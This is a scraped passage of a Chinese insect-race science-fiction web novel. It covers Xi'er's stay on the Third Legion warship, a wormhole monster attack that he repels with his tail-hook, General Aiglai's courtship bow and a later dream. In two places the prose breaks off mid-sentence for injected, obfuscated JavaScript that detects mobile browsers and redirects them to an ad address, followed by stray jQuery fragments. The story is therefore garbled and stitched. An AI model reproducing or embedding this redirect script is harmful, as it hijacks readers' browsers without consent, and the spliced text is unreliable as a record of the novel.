希尔叹气,“不用,注意身体,再见。”
门被带上,心理辅导室的空气默默流通,亚雌就这么安静地站着,像是从地里拔起来的萝卜又栽回了土里,一动不动。
直到空气中的所有生物信息分子轮换了一遍,感官上再也捕捉不到属于雄虫气息的存在感,亚雌才瘫软地坐回了沙发上。
他很困扰的双手抱头,额头上的触角,一会向上卷起,一会向下耸拉,高度运转的脑细胞,让额头上的触角呈现高频颤抖状态。
“这不太对劲……评级出错了?可是血液信息素太低,但是身体有反应……我是机器??不不不,等等?”
亚雌在突然之间意识到了一个非常惊悚的问题,希尔阁下根本没有进行完整的基因等级测验。
那是一个非常繁复的过程,从骨髓、血液、腺体甚至尾勾纹路等等等等,甚至指甲生长这种微小代谢检测都要来一遍。
而第三军团目前军舰上并没有一套完善的雄虫基因检测仪器,最后只根据血液中信息素浓度给出了一个基础判级。
所以希尔阁下的基础判断可能出现仪器判断失误。
但是从没有一种情况,是高等级雄虫阁下的血液信息素浓度会低到弱不可闻的程度。
雄虫血液中的信息素不会平息雌虫们的发情期,反而会导致他们进一步狂躁,从而更可能诱发基因暴乱期提前到来。
目前虫族能够短暂压制雌虫发情期状态的信息素凝露剂,是从雄虫的腺体提取出的腺体.液,稀释了千倍万倍特殊保存而制。
高等级阁下的腺体.液,稀释的信息素凝露剂倍数指量级增加,纯度也极高。
正常安抚雌虫发情期时,也需要雄虫腺体内自愿分泌的信息素,而不是血肉中的信息素,否则雄虫的处境更加危险。
雌虫发情期和基因暴乱期时,都可能存在活生生将雄虫吞掉的极端情况。
就像部分基因退化到彻底的低级雌虫,在交.配时会本能触发神经激素,反向进食雄虫来满足基因中疯狂渴求优质遗传基因与氨基酸的本能。
在二次觉醒后被基因掌控欲望的雌虫们理智本就岌岌可危,出现以上两种丧失理智的情况,他们会分不清进食欲和繁衍欲,因为这两种欲望通常都会出现在对雄虫的渴望上。
这个时候一个雄虫出现在他们面前,简直高危级别爆表。
这也是雄虫受伤时触发系统示警的原因,否则大批量同时陷入发情期和基因暴乱期的雌虫们,能够将小小一个雄虫吃的骨头都不剩。
简而言之,哪一种情况都没有出现过希尔这种情况。
亚雌没有任何证据,来证明希尔阁下的身份基因等级有问题,难道他要找到上将对他说因为在雄虫阁下靠近他的时候,他的身体不太对劲?
那他会被上将当场给阉了吧。
第三军团多年来整体氛围正常又压抑,他们当年选择了站在雄虫的对立面,便注定着舍弃太多东西。
如今虫族内部局势趋于稳定,却只是他们内部自嘲。
就连星际外族都能看出虫族的未来没有出路,每一个雌虫都像是走在黑洞旁的星系风暴,侥幸没有被风暴撕扯掉血肉皮骨,也会掉进不知来路的黑洞深渊。
第三军团的雌虫们终生都不能剥离掉身上背叛者的名号,对于任何一位雄虫阁下而言,他们的存在象征着当年那场暴乱的一切血腥源头。
没有雄虫会愿意在低头抚慰时,对上一双猩红的眼睛。
阁下们不会分辨里面沉淀的是爱意还是杀意 ,只知道欲望升起的那一刻,任何雌虫都变得无比可怕。
亚雌额头的触角缓缓蜷缩,最终软软的趴在了前额,他突然想明白了一件事,这件事其实并不该他去苦恼,因为无论如何,当希尔阁下走下第三军团军舰的那一刻,将不会再与他们有任何牵扯。
十二军团供养的虫族主星,会收纳奉养每一位雄虫阁下。
第三军团的每一个雌虫只能向前。
不要回头,谁都没有后悔的资格。
.
无辜的希尔并不知道,因为他的存在让一个心绪平静了多年的亚雌,偷偷看了一眼来时的那条路。
此时姗姗来迟的论坛链接被他点开,那里是属于星际多种族的军事论坛。
这里不像混乱的虫族内网,明明是线上星网,却依旧仿佛被荷尔蒙激素支配,每几个聊不了几句的雌虫们就会有一场线下决斗,要在混杂的局面中提取到有用的信息,还要靠一些相对冷静的科普帖。
总而言之,在正儿八经的军事研究上,人家外星种反而像是吭哧吭哧的老师们,将虫族的一二三贴得清清楚楚。
希尔在虫族内部论坛感觉到了一种熟悉的氛围,但是眼睛被吵的很厉害,此刻他才舒了一口气,终于开始抱着之前的疑惑一一看去。
虫族的十二军团各有自己的管辖星系,其中个别特殊的军团驻扎星系脱离阿迦尔周边所有星系。
虫族庞大的基数注定了待在一个星系内,他们会像不停啃食的蝗虫,将整个星系的生命力给吸取完后,再本能地将矛头对准同族,直到这一片宇宙彻底完蛋。
为了安放这样的侵略欲望,阿迦尔星系和所有有虫族驻扎的星系,都巴不得这群战斗疯子天天去开拓新的星海战场。
星际种族联盟每年发现的新智慧生命种族与全新星系域统计结果,虫族年年占据榜首位置,这群没有伴侣梳毛就天天炸毛的虫子,恨不得将整片宇宙的每个角落都给发掘出来。
仿佛有一天他们都能从天上扒出来一群雄虫一样。
除了面对虫族主星,虫族十二军团并不齐心协力,近百年来唯一一次的合作,也只是十五年前的那场内乱,就这还只是集结了七大军团,其余五大军团联手虫族主星,依旧与他们分庭抗礼。
但在其他外星种的眼中,这已经是非常不得了的事情了,宇宙真神在上,他们可是第一次知道,原来虫族各个军团也有团结的一天。
各个军团驻扎辖域不同,所管星系不同,阿迦尔这个像是圣地一样的星系,聚集了最多的外星种,但是只有虫族主星,像是宝贝一样被虫族妥善的藏在了这里。
第三军团嫡系家族作为虫族最开始的七大原始氏族之一,自带历史底蕴和等级压制,没人能摸得清一个军团的资产遍布多少星系和星域,但是一个军团的兵种数量在虫族主星是有明确登记的。
自从十五年前,雄虫保护协会与雄虫保护法庭,在这方面态度格外强硬,他们不允许下次突然对峙的时候,这边冒出一支军队,那边冒出一支分队。
等到谈判的时候,谈完一圈,发现后面还有一圈,一圈套一圈,四面八方全是虫。
每次有帖子总结当时的那种谈判情况,许多外星种就在下面嘎嘎嘎乱笑。
就连他们都知道虫族内部军团势力混杂,已经纠缠到了一个什么盘根错节的地步,这颗腐朽巨木下面的根系已经打成了结。
早晚有一天它会轰然砸下来,掉落的枝干可能会在周边星系掀起大大小小的灾难。
于是对虫族有敌意的外星种族们,一边期待着虫族的分崩离析,一边又很害怕这群疯子在走向末路的时候,将整个星际联盟所有种族拉入同归于尽的战火之中。
但是当虫族平等针对的是整个星际种族联盟的时候,这些阴暗的小东西,又暗戳戳的心想,反正到时候遭殃的不止我们,于是这种联网式的幸灾乐祸已经变成了光明正大的看戏。
在看完一大串各种各样的军事科普帖子之后,希尔以第三军团为中心向整个虫族现有的军事布局做了一个简单的摸索排布。
可是很晕。
新知识入脑的肿胀感非常明显,神经末端抗拒的想要把这些怪东西给推出去,却又因为眼睛的输入不停的往里塞。
希尔并没有仿佛看到熟悉知识的快速接纳感,他看了很久最终放下星脑,也只记住了以第三军团为中心延伸而出的常识。
现在希尔不仅不认同被赋予的雄虫身份,他甚至开始平等的怀疑起这片宇宙。
当对周围一切都很陌生的时候,只有一个可能,他没有失去记忆前是个傻子。
希尔揉了揉胀痛的额头,起身舒展筋骨,随着久垂的脖子发出轻微的骨头摩擦声,他偏头看向了之前开启就没有再关上的换衣镜。
里面黑发的雄虫,看上去被养的懒了许多,希尔轻眯了下眸,意味不明地笑了下。
.
从虫族主星出发,准备迎接新雄虫阁下的迎接舰队,比报告上预备的规格要翻上几倍,无数个小型舰队跟在后面,他们从虫族主星出发的时候并不在报备列表上。
雄虫保护协会,又在私自调取联邦军队。
根据第三军团传来的讯息报告,新发现的雄虫阁下基因等级并没有太高,迎接对方回主星的舰队规格却大大超标,元首冕下就此事向雄虫保护协会发出询问函,却没有得到具体回应。
而在无形之中,那位连面都没有露的雄虫阁下,已经悄然置于权力漩涡中心。
这边希尔也得到了虫族主星那边具体的抵达时间,深紫的眸子愉悦的亮了亮,在其他雌虫看来,就好像是被冷落许久的雄虫,迫不及待的想要离开冰冷的第三军团。
许多雌虫微微垂眸,触角默契一低。
第三军团的许多队长少将中将等等等,都会在猝不及防的时候,撞见这个陌生的黑发雄虫好奇游走于各个角落,对方的脚步太过轻盈,时常会在转身的时候被阁下吓一大跳。
雄虫深紫色的瞳孔映衬着舷窗外的宇宙星河,他们看过去的时候,才警惕注意到自己也沦为星河中的一点星点。
雄虫阁下与他们那清清楚楚明明白白的三步距离,一开始就暴露在眼前。
并不知道希尔只是被当时亚雌的反应吓到,误以为自己身上又带了什么可能触发雷达的东西,生怕再触发奇怪报警声,非常自觉自发与每一位擦肩而过的雌虫保持良好的社交距离。
另外如果被希尔知道这些雌虫是怎么看待自己的,只想说他并不是悄无声息的小动物,他明明看的是军舰的整体布局。
这群雌虫能不能不要滤镜加满,因为他是个雄虫,就无视了他在光明正大的窃取机密这个行为事实。
艾格莱上将冷淡灰眸扫过会议室一圈,他看过每一个低下触角的下属雌虫,额头上的触角不动声色的弹跳了一下,然后恢复静默,他挑眉看向正拖着下腮无所事事的雄虫。
那支原先放在桌面上的特材笔在他手中转出了花,整个人懒洋洋的,与最开始在酒馆内被军雌下跪惊到,直接往后恨不得跳到墙上的模样截然不同,如今正在漫不经心玩着新找到的玩具。
“阁下,如果确认这最后一份声明没有任何问题,就可以签下你的名字。之后你的名字将会在主星系统内正式录入,从此具有最高特赦权,将得到虫族律法承认。”
艾格莱上将指节微扣,敲了敲桌子,始终像是一块没有温度的古木,他对待黑发雄虫的态度始终没有任何变化。
统帅着第三军团的上将,不会因为某一瞬间的吸引侧目,而像他的雌父那样误以为被命运眷顾,从此失去了所有理智,成了被人拿捏的把柄。
艾格莱上将永远看向前方,绝不低头。
希尔瞬间停住转动的特材笔,笔身停在他的中指与无名指之间,扬起一个飞跃的弧度。
他没有动,只是眸光从漫无目的的虚空中微微向旁一撇,看向了沉静注视着自己的上将。
上将依旧没有好好穿衣服,斜侧披风只搭了半肩。
最开始希尔以为这是一个,沉静内敛的严肃古木,就像是他给人的感觉那样,会在一个地方扎根之后迅速蔓延,经他庇护的每个人都能得到极大的安全感。
但是很快希尔就发现,这个上将他是会在你躲进去后时不时摇枝干的那种!会在将你淋了一头的绿色叶子后,漫不经心的挪个地方继续懒洋洋晒着太阳,只是因为嫌弃你烦,那种散漫又暴躁的脾气,很让人怀疑他到底是怎么做到行为与长相截然相反的。
不过目前希尔根本没有琢磨的心思,特材笔在他手指间翻转了一个漂亮的弧度后,成功落在了正确的位置。
写下一个流畅的签名,希尔将声明向前一推,他并不觉得自己叫这个名字。
最开始是下意识选取了熟悉的两个字,当然这又有什么关系呢?反正这个名字不会得到虫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136047|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
族主星的认可。
因为正主、要、跑、啦!
.
当天晚上,艾格莱上将处理完手上的军务之后,在最上面看到了那份属于雄虫的声明报告,他拿起来看了一眼,视线落在下面的签名上。
希尔两个字仿佛要飞走了,笔迹末端的一划拉得很长,最后又小小的卷了个弯拽了回来,严格的将笔迹控制在了边缘一个标准匀称的尺度之内。
艾格莱挪开视线将其放回了原位。
恰在这时,终于回到他手腕上的星脑终端传来通讯申请,通讯申请在三声震动之后被默认接取,艾格莱凝眸看了过去。
拥有这个待遇的并不多,一般都是处在第三军团总部的那几个虫之一,而现在这通跨过无数光年的通讯打过来……艾格莱沉思片刻,依旧不觉得最近有什么重要的事情。
立体光屏弹出,三D虚拟成像立在半空,一名头发整个炸开竖起,慢悠悠冒出几缕黑烟,整张脸只有一双眼睛周围是两个干净的圆圈,那是完美的防爆眼罩的形状,嘴巴一张就先吐出了一股灰白色烟雾。
那雌虫率先抹了一把脸,最后坚持的两个眼睛圈溃败,像是无数块泥土在一个地方加了鸡蛋清打出来的脏糊糊,即使再如何做出严肃要紧的脸色,这副尊容只会让他像个刚下台的小丑。
最讨厌黏糊东西的艾格莱上将脑子里的那根弦当场就要炸掉,他闭了下眼,然后抬起,“什么事?”
顶着这张脸连接通讯的雌虫是真的很正经,在几分怪诞难忍的搞笑中,他上前凑了一些,险些要从立体投影中穿梭而出。
艾格莱上将不着痕迹往后退了退,眉心几乎都在跳动,他只听对面雌虫语气很困惑,
“最近第三军团的战斗系统好像出了点问题,我这边和检修部那边修了好久,刚刚还不小心搞爆了几台战斗机甲,真是过分,那几个机甲的主人竟然向我发起决斗,不知道什么叫公务所需吗?不过我已经把他们全部都打趴了,现在那群家伙集体把自己的战斗机甲藏得严严实实的,我是来让你帮忙的。”
艾格莱揉着眉心,“你为什么要抢他们的战斗机甲?实验室那边不是有还没有对接生物信息的机甲吗?”
“算了,我不关心,我最近这边很忙,没事不要再给我打通讯,否则我回去的时候会打断你的腿,把你挂在训练场上向他们赔罪。”
“不,战斗系统真的坏了。”
艾格莱手上动作一顿,他抬眸微眯。
“前段时间战斗系统突然闪现一条受伤雄虫的高危示警,首先我发誓,我立刻彻查并没有发现被误伤的雄虫阁下,但这个范围依旧覆盖第三军团!是整个第三军团,我甚至联系了我知道的最偏僻的第三军团兵种的任务频道。”
“那群可怜的家伙,差点因为这条信息以为自己整个小队要挂,发现只是战斗频道出错后,愤怒锤爆了任务对象的头。”
“我在多方面做了确认之后才开始联系你,我暂时不确定你那边有没有收到这条高危示警,但是我……可能不小心把这个bug一样的高危示警给搞坏了。”
雌虫再次抹了一把自己,这次终于露出了一点五官英俊的轮廓,他拉出身后战斗系统的频道,一阵漫长的等待后,突然高危示警的标志弹动闪现一瞬又瞬间消失。
“就像这样,它本该在示警之后小时,却被我下意识捕捉,如今好像被我卡bug了,首先声明这不是我的有意为之,而是我严重怀疑这是主星上那群老家伙做的手脚,是这样,不全是我的错。”
在一番又是解释,又是推卸责任,又是没来由的唠叨话之后,他一整脸色正经问道:“所以上将,你那边收到了这条高危示警吗?”
会议室内安静了很久。
艾格莱上将缓缓站起身,他的神色一瞬间变得非常奇怪,深灰色的眸子,尖锐的竖成了第二形态,身上的威慑感几乎要传递到光屏的另一边,那位雌虫心虚的向后退了一步。
“你送来了一个很重要的消息,但是我回去之后会找你算账的,你要是敢逃,我就把你头上的触角一节一节的掰下来。”
说完之后,他无视了对面雌虫惊恐的神色直接摁灭了通讯频,拎起椅子上的军装大衣疾步出门。
三步,上将停住。
一道尖锐的警铃声骤然响彻整个第三军团!
军团最高级警告声,按着特有的节奏狂风般呼啸吹在整个格雷厄姆星域上空。
星域之类光芒骤闪,大批量茫然外星种抬头看去,一眼看去这片星域瞬间亮灯。
星河中,第三军团主军舰连带着附属所有护卫星舰同时开启备战状态,防护纳米屏障像莹莹升起的水波,从下到上共频覆盖。
脚下震感从上到下,让每一个陷入微眠的雌虫迅速从休息舱中翻身而起,训练有素的装戴整齐后,大批雌虫开始在军舰主干汇合。
一级战斗预警!
——“上将!”
今天负责带队巡逻的汉特狼狈推门而入,他半边身体已经失去了踪迹,就像是被庞然大物深深啃掉了三分之一的身体组织,断肢残腿地出现在这里,还是靠着身后残损的鳞翅。
这对于雌虫并不算致命伤,但在格雷厄姆星域这样已经完全被第三军团军队包围的地方,怎么会有其他的敌人敢光明正大的和虫族为敌。
艾格莱的脸色难看到了极点,还未来得及恢复成普通形态的尖锐竖瞳,其中的深灰已经黑到足以吞没任何色彩,他急步上前查看汉特的情况,却透过汉特身后看到了无法理解的现象。
这一刻就算是艾格莱,在这种关键时刻,也因为这种无法理解的现象,僵硬地顿了一霎。
幽幽流转的黑色虫洞不知道连接了哪个时空,亿点点幽光从里面透出,半个狰狞的巨型怪物探出了巨大的口器,上面挂着残损肉肢,滴滴答答属于虫族的血洒在宇宙中,身上流动着的黑色云雾在不断腐蚀着军舰的能量舱,一切生命都仿佛能消灭在这种恐怖的生物影响下。
就像是遇见天敌一样,在看见这个生物的瞬间,艾格莱内心涌出了强烈的反胃感,他从来不知道自己还会有这么强的情绪。
舱体内的氧气在迅速流失,宇宙真空暴露下他们单兵作战能力也不能无限支撑。
冥冥之中艾格莱仿佛与那个庞然大物对上了视线,对方的眼睛在哪里他并不知道,但那一瞬间就仿佛是对视了,精神层面奇怪的东西被拨动,身体反应速度瞬间停滞。
汉特几乎是惊恐的看着那条狰狞的怪物肢体朝着上将扑来,直取上将眉心,仿佛那里有着比血肉更加吸引的东西,直直将怪物的注意从下方闪烁着强大生命力的格雷厄姆星域上引走。
他能听见破碎军舰上第三军团军雌极速展开鳞翅的破风声,也能听进耳边呼啸而过的嗡鸣,还有自己正在减弱的心跳声,致命的东西就从他眼前穿过,他闻到了自己血肉的味道。
但汉特却浑身动弹不得。
上将的反应更是莫名其妙慢了下来。
这一刻汉特的心中也生出了同样的感觉、天敌。
就像是天敌。
“唰!”
在这关键时刻,一根柔软的、被坚硬鳞甲包裹的残影划过眼前,像是一条流利窜动的灵蛇。
它从背后将汉特推向了极速飞近的雌虫们,撞击身体的瞬间,汉特浑身一个激灵,仿佛被什么不得了的东西触碰了一样,大脑都是一个震荡,甚至连意识都清楚了许多。
呆滞的大脑仿佛终于回过神来,汉特猛地站起身震惊看去,发现那是一条尾勾。
高等级雄虫阁下可以短暂的释放,但是没有任何伤害能力的尾勾,碰一下都会被训斥的娇贵证明。
此刻一个甩尾却与那能停滞精神的怪物肢体碰撞在一起,恐怖的能量波爆发,这简直不可思议。
汉特迟钝的脑子里第一反应是,真的不会断掉吗?
眼前的事实告诉他,不仅没有,它甚至一个灵活回转,圈住上将,将他拽离了那片诡异的区域。
汉特发誓,他有生之年,第一次在上将脸上看到近乎茫然的表情。
6. 相杀者相爱(6)
“滋——!!!”
长相狰狞的巨型异兽吃痛一般,发出尖锐嗡鸣声。
它原先贪婪地、挣扎着,死死地盯住这片生命力极强的宇宙。
在与雄虫尾勾碰撞后,整个巨大的身体却在震颤,庞大肢体哗啦啦往下掉,像是断尾求生的本能,巨大身体疯狂向后缩,抓挠的肢体挥出残影,拼了命地要虫洞缺口退回去。
它简直像是在抓狂!
这只之前在汉特眼中的天敌,现在的反应比遇到天敌还要大,谁都能看出它的恐惧。
在场全体军雌目光冰冷,外骨骼甲包裹全身,尖锐竖瞳狰狞看向异兽,恨不得要生生扒下对方的皮。
他们正面警惕,心腔内却有哐哐砸墙声,呼吸放轻又放轻,脚也不敢碰地,鳞翅拖着浑身的重量,只是因为怕吓到身后那位静站不动的阁下。
余光瞟过去,又瞟回来。
像是在做梦一样。
黑发雄虫静站不动,身后目测一点五米至一点八米的尾勾灵活游动,时不时烦躁地甩几下,坚硬的外骨骼倒甲花苞一样层层叠加收至末端,剔透莹润近乎黑色流光石,像是懒洋洋捕猎的灵蛇,有着全然自主的意识。
不可思议!不可思议!不可思议!
大脑近乎宕机的雌虫们呼吸急促,额角触角疯狂震颤,只会出现在虫族历史教科书上的,雄虫尾勾专属的战斗形态。
美极了,多看一眼都心神荡漾。
据说雄虫尾勾褪去战斗形态,会呈软鳞包裹,封闭的尾勾尖端甚至会跟随宿主心情,自主袒露出尾部勾针,可以直接刺入雌虫后颈腺体的信息素勾针!!!
只有高等级雄虫阁下才能成功做到的,真正意义上的信息素交互,而不是除发生关系外,只能单纯靠着腺体.液信息素的浅层缓解!
就这样警惕着,偷窥着。
万籁俱寂的沉默中,不稳定的虫洞坍缩数次后,带着逃回去的巨型异兽短暂消失,漆黑闪烁的星河中,只有异兽自主废掉的肢体,缓缓飘荡。
一场突来的战斗,消失也跟来时,莫名其妙。
希尔站在原地,双手抱胸神色莫名,深紫色瞳孔并没有呈现第二形态,这意味着他的情绪很平静,身后的尾勾正无聊地一甩一甩,偶尔还会擦过身边僵硬住的艾格莱上将手臂。
是冰凉温润的玉感。艾格莱心想。
之前被尾勾环住腰身整个带过来的艾格莱上将,已经沉默了很久,现场环境归于安全,他单手收起光能高爆枪口,挡在他和雄虫身前的纳米防护罩水一般向下消散。
“喂,上将。”依旧保持战斗形态的尾勾,戳了下艾格莱上将的左肩。
力道很轻迅速撤离,艾格莱上将的身体却无意识倾向尾勾离开的方向,转瞬又狼狈止住了下意识的本能。
这一声不大,却顷刻打破了现场的环境,这群呆愣警惕的雌虫们,终于想起来他们不能无限停留在宇宙真空的事实,残损状态下的汉特,也终于被想起。
同时,落在希尔身上的视线,密密麻麻地要将他给包裹起来,对这方面格外迟钝的希尔,正皱着眉看向虫洞消失的方向,尾勾在他身上像是活跃的玩具,随手就能充当打招呼的手,就像刚才那样非常顺手地戳了下艾格莱。
希尔上前走了几步,艾格莱跟着动了几步,脚下的节奏几乎完全一样,他垂眸,本能地想要捕捉雄虫的呼吸频率。
“我有直觉——”
希尔收回视线,转过头,尾勾缠在了他的腰上,乖乖地收起了锋锐的外骨骼甲,外突的厚甲层层压叠。
软化后的薄鳞甲贴在椎骨上,那条之前还力扛异兽的强横武器,现在软的与美丽的黑色玉鞭没有区别。
“你们要有大麻烦了。”希尔口中的话一卡,他微微挑眉,环在腰上的尾勾一动,在他身后游走,艾格莱的竖瞳一错不错地追了过去。
好像所有理智瞬间丢失,整个被饵料给吊住了。
尾勾递到艾格莱面前,弯出一个柔软的弧度。
艾格莱伸手,指尖有些抖。
“艾格莱上将。”希尔眯眸,“一直盯着雄虫的尾勾,是一件很失礼的事情。”
尾勾不轻不重,警告性地打了下艾格莱伸出的手指,只是给对方看看,谁让他真的上手摸了。
然后轻盈的鳞尾甩出一道流畅弧度,擦着艾格莱的指尖收了回去,重新圈在了雄虫的腰上。
艾格莱脑中空白了下,自己行动的手指哗地一下发烫,即使被警告了,在尾勾擦着手收回去的时候,他差一点点就伸手抓住了。
强力克制本能,导致上将现在的指节在微微痉挛,被他不动声色地背在了身后。
啊啊啊啊啊——
碰到了!
上将的手指碰到了雄虫的尾勾!!!
低频率的精神震荡传开,大部分雌虫的额前触角,都僵直地竖起,有的甚至弯折出一个离谱的弧度,只为了朝向某个位置。
第三军团的军雌们极好的动态视力,完完整整地捕捉到了刚才的一幕,单手拎拖重伤雌虫的力道都有些泄愤的重。
他们曾经想要得到某些东西,却从未想过伤害雄虫,然而后来血腥之夜,一切走向开始失控。
从此担负起背叛者称号的第三军团军雌们,甚至不能自然表达基因中对于雄虫的渴望,否则他们过去所做的一切,都成了一场自讨苦吃的笑话。
“抱歉阁下,是我失礼。”艾格莱罕见地行了个复杂的礼节,冷木灰色的发丝,卷起几个狼狈的弧度,俯首的瞬间,挡住了眸底中所有情绪。
似乎是个贵族礼,希尔看不懂,微微扬起下颚,表示了回应。
也许是道歉用的吧。
汉特正在疯狂堵住自己到处漏血的身体,虫族恐怖的治愈能力在身体里现在忙得不行,他满头大汗地试图拒绝被送进基础医疗舱中,那种被催生的低级药剂作用,隔着皮肉瘙痒难耐,还不如这样大痛来的痛快。
“我知道现在军舰医疗存储告急,但我绝对不会进那种低级医疗舱,它和慢性酷刑没有区别!你还不如现在就掏掉我的心脏——”
结果一抬头,汉特看见了自己上将俯首的那个礼。
虫族七大原始氏族之一——法兰克黎家族的追求礼节。
一旦雄虫颔首表示回应,便意味着雌虫有了追求资格。
当年教导这个的礼仪官,曾被上将不耐轰进了高密度墙体中,差点告状到上一任法兰克黎家主头上。
也就是艾格莱上将的雌父。
“哦——虫神在上!”汉特手都在哆嗦,他艰难扯住身边的医疗兵种,“上将知道诱哄阁下答应追求礼节,会被雄虫保护法
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136048|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庭提起完整证据链控诉,一路追责全部军事生涯的吧?”
“我不知道。”被扯住的医疗兵种磨牙,汉特注意到对方是个亚雌,“但我知道,贸然哄骗常识性缺失的阁下,即使追求关系成立,上将也要进入囚星受刑!”
上将简直疯了!!!
汉特与亚雌双眼含泪,彼此对视了一眼,好像已经看到第三军团彻底完蛋的未来。
顺便咬牙切齿一下。
完全不知道现场为什么突然寂静,希尔偏头疑惑扫视了下周围。
艾格莱直起腰,微笑,眸中的情绪藏了些更深的东西。
之前意外发生的时候,希尔全程亲眼目睹,就在他经常站定俯视下方格雷厄姆星域的舷窗前,滋啦着搅乱磁场的虫洞,在格雷厄姆的正上空成型。
这种突来的传送虫洞,在宇宙中很常见,不能稳定成型的虫洞是舰船航行是需要避开的小危险,内里的时空乱流会碾碎身体意识,只有稳定成型的虫洞,才能满足跃迁站建立的基础条件。
负责监控的军雌也只是低头在报告上记录,希尔却在黑色云雾出现的时候,恍惚了一下。
这个东西给他的感觉,比他清醒后听到的虫族两个字时的感觉,还要熟悉。
有种见到老朋友的错觉,顺便拳头都开始痒了,希尔左手扶住颈侧,很快地活动了下脖子,一声细微的骨头活动声后,他缓缓向后退去。
一点一点看着蔓延到眼前的黑色云雾,侵蚀掉了挡在他与宇宙的舷窗,虫族三级基地军舰,像是个融化的冰淇淋蛋糕,在等同于超高温的黑色云雾面前,毫无阻拦能力。
警铃炸响!
应该是有毒,有误入其中的雌虫砰地倒地,希尔却站着没有动,他歪头俯视着已经飘到眼前的黑色云雾,漫不经心伸手挥了挥,心里平静的同时,另有一种极为冰冷的情绪在酝酿,仿佛另一个灵魂在蠢蠢欲动。
黑色云雾从希尔身前分开一条路,又在他身后合拢,独独绕过了他。
“唉呀——”希尔啧了一声,比他记忆更先给出反应的是身体。
平面图纹次元化,尾勾缓缓垂落,骨节与外骨骼甲迅疾蔓延覆盖,而后危险地在雄虫脚边徘徊。
虫族每位雄虫阁下的衣服,都用特殊材料为他们的尾勾留出了弹性位置,即使很多雄虫阁下已经完全不能释放尾勾,这一点也一如始终。
毕竟就连雄虫,也会渴望过去的荣耀,这点特殊,正是身份的证明。
然后是汉特受伤,上将被袭。
直到现在,希尔抚摸着自己的额头,指尖轻佻地向上一扬。
在尾勾挡住异兽肢体的那个瞬间,记忆碎片终于从深处的禁锢,弹出几片过往的记忆。
难怪感觉熟悉,原来是好久不见的老仇家。
希尔视线又转回闪烁消失的虫洞磁场,安静环在腰上的尾勾一甩,军舰地面瞬间被闪现般包裹的外骨骼甲,撕裂出一道深痕。
像是在发脾气。
也让那些被尾勾迷昏了头的雌虫们终于清醒了些,他们呆看了一眼被撕裂的地面。
终于想起之前眼睛看到,却因为太吓虫,被脑子自己藏起来的记忆瞬间。
尾勾没断——
那么,他们学的虫族雄虫生物科,唯一的一个满分,好像要变成光秃秃的圆圈了。
7. 相杀者相爱(7)
“我听说你又在无视礼仪官的教导。”上任法兰克黎家主即使出现在梦中,也依旧像是快要枯萎一般,额前偶尔会暴露主体真实情绪的触角,已经多年没有反应。
浅灰色的触角睡在发丝中,一如僵死的枯木。
艾格莱百无聊赖地看着这段回忆,这已经是快要被淹没在记忆海深处的片段。
他看到一个才9岁的自己。
9岁的艾格莱仿佛不记得他昨天才将礼仪官不耐暴揍的事实,个头高挑的法兰克黎少家主,眉眼间的神采鲜亮灵活,他仰头看着自己的雌父,“我会证明,我不需要雄虫的任何抚慰。”
信息素也好,精神力也好,他都不会需要。
啊——下面的回答,艾格莱突然发现,他其实记得很清楚。
低下头的法兰克黎上任家主,只是毫不留情地折下精心养了许久的琉璃木朵,指尖碾下浓稠绿汁,他甚至没有回头,就连语气都没有一丝波澜,
“艾格莱,你甚至没有成年,一个未曾二次觉醒的雌虫,永远都不会知道,虫族基因中宛若诅咒般的吸引力。”
“等到未来,你低下头的那个瞬间,你会明白的。”
这句话艾格莱记了很久。
但12岁执意入伍的艾格莱没有明白。
14岁强硬以艾格莱下任家主之名,站在雌父面前要求他追随在元首冕下身后时,那位法兰克黎上任家主,只是可有可无地点了下头,似乎并不在意这份彻底改变虫族布局的叛乱,一切如旧。
16岁的艾格莱骄傲肆意,正是深信自己能把整个虫族的天踩下来的年纪,他不懂得雌父的沉默,也没有后来散漫暴躁的气质,锋锐的法兰克黎之剑,正蠢蠢欲动。
18岁进入二次觉醒的艾格莱,基因等级高达S,整个虫族没有能精神力抚慰他的雄虫,能安抚他发.情期的雄虫信息素也要最高等级多次提纯后达到假性进阶,他除了多了一种完全渗透入灵魂的痛苦后,依旧没有任何变化。
如今29岁已经成为法兰克黎现任家主,第三军团现掌权军团长的艾格莱上将,其实还是没有明白当年雌父的那些话。
如今梦中这个短暂的片段,勾起了艾格莱繁琐的过去,他懒洋洋打了个哈欠,在这些过去上的注意力,甚至还不如好奇梦里为什么会打哈欠的多。
梦境碎裂,艾格莱睁眼看了眼时间,脑子里大量涌出的记忆片段,导致他现在毫无睡意,也完全没有睡了一觉之后的精神。
他一边拿过床边的凉水,冰凉触感滑下腹部时,艾格莱平静心想,这个梦的出现,是因为昨天那个追求礼节吗?
那只是顺势之下的最好选择,第三军团需要一个改变的契机,没有什么比获得一位高等级雄虫阁下的偏爱更能改变现有的困境,艾格莱那一瞬间只是将理智发挥到了最大。
指尖轻点冰凉杯壁,艾格莱淡淡心想,当然,他也未曾否认过自己对于雄虫尾勾的好奇性。
.
一周后。
前段时间惊现虫族年度最大戏剧性发展的酒馆,最近客流量惊人,已经成功登上格雷厄姆星域最受欢迎酒馆之一。
内部依旧喧杂混乱,欲.望与酒水交织。
之前雌虫开枪擦过雄虫的开枪痕迹,却被单独空了出来,没有得到修复清理,就像是个仿版的劣质画框,成为这里引流的重点标志。
